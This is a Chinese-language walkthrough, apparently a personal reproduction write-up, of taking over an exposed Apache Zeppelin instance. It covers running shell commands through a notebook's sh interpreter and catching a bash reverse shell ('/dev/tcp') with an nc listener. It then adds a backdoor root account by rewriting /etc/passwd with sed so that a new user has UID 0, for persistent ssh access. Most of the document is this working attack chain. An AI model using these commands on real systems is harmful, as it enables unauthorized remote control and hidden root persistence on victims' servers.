一、命令执行复现
- 访问http://ip:8080,打开zeppelin页面,(zeppelin默认监听端口在8080)
- 点击Notebook->create new note创建新笔记
-
在创建笔记的时候选择Default Interpreter为sh,即可执行sh命令
-
如下图,在命令窗口输入命令,按 shift+Enter 或点击右侧的执行按钮,即可执行sh命令
# 二、反弹shell
-
不管是用哪种反弹shell的方式,都要在用于接受反弹shell的机器上开启端口监听,注意目标要能主动和接受的机器建立连接(即在同一网段或监听的端口处于公网),这里使用nc监听2333端口,命令为
nc -lvvp 2333
,如图所示,开启了监听 -
利用sh反弹shell 命令为:
bash -i >& /dev/tcp/ip/port 0>&1
-
重新开启监听,利用python反弹shell(内存不够会失败,折磨我两个小时才找到原因,太菜了太菜了)
在创建新笔记的时候选择python
这里不需要使用
python -c
来执行python命令,直接像写python脚本一样就行成功拿到了反弹的shell,但是python弹回来的并不是一个真的shell,类似于passwd这种需要交互的命令执行不了,而sh弹回来的一般不会有这种问题
# 三、拿下控制权
我们使用sh弹回来的shell进行下一步操作,创建一个特权用户,拿下对目标的持续控制,因为弹回来的是root权限,所以我们可以很方便的操作,但如果是普通用户,我们可以尝试是否拥有sudo权限,如果没有那就得另觅它法了
- 创建用户并更改用户密码,命令为
useradd abc
passwd abc # 根据提示重复输入两次密码(高版本系统可能会要求足够复杂的密码)
-
利用 /etc/passwd 文件提升用户的权限
查看 /etc/passwd,主要注意root和abc两个用户,其中root用户中间的两个数字为 0:0,第一个0(UID)代表root用户,第二个0(GID)代表root组,abc用户的为 1000:1000,同样的,分别代表abc用户和abc组
所以我们只要将abc中间的两个数字改为 0:0,就能成功把abc提权为root用户
由于没装vi、vim这种编辑器,所以我们需要利用sed命令去修改文件
sed -i '$cabc:x:0:0:root:/root:/bin/bash' /etc/passwd
# -i 参数代表直接对文件操作
# $ 代表文件的最后一行
# c 是 替换,后面为要替换的内容
测试用户权限,su abc
切换到abc用户,执行whoami
,发现我们依旧是root用户
之后我们就可以通过ssh随时连接目录机器